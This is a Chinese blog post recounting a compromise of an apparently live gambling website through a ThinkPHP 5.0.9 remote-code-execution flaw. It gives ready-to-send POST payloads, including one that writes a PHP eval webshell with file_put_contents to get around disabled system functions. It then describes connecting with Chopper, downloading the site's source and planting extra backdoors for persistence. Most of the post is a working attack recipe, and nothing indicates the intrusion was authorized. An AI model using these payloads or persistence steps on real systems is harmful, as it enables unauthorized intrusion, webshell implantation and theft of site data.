简单的BC站点getshell

0x01 确定目标

主站:

旁站:

0x02 漏洞利用

通过信息收集发现是个tp v5.0.9,此版本存在tp-rce漏洞。

直接通过payload进行测试,

Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()

查找payload,直接打:

Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()

发现是php 5.4.45版本的,

直接尝试getshell:

发现system被禁用,尝试其他系统命令的也一样。

查看phpinfo中desable_functions禁用了那些函数。

想办法怎么绕过进行写马(此处卡了我半天)
最后通过一位渗透小伙伴,想出下面的可以利用file_put_contents直接写shell,想了半天,忘了用其他函数进行直接写马就可以了,并不需要非得利用system命令进行写马,还是底层知识薄弱啊。再次感谢小伙伴!

0x03 getshell

构造payload:

_method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>')

写入成功,利用菜刀连接。

成功连接。
查看权限:

发现启动了远程安全模式。
想要绕过,发现很多函数被禁用,占未成功。
下载源码:

多部署一些后门,防止被删。

0x04 总结

1.打开BC网站,通过底部版本信息,发现该站点框架是tp v5.0.9,存在RCE漏洞

Post:_method=__construct&filter[]=assert&method=get&get[]=phpinfo()

2.发现是php 5.4.45版本的,直接尝试执行命令,发现system函数以及执行系统命令的函数也被禁用。

Post:_method=__construct&filter[]=assert&method=get&get[]=whomai

3.虽然禁用系统命令函数,可利用file_put_contents直接写shell绕过

4.获得getshell

构造payload:

_method=__construct&filter[]=assert&method=get&get[]=file_put_contents('a.php','<?php eval($_POST[a])?>')

5.写入成功,利用菜刀连接



posted @ 2022-01-06 10:44  渗透测试中心  阅读(990)  评论(0编辑  收藏  举报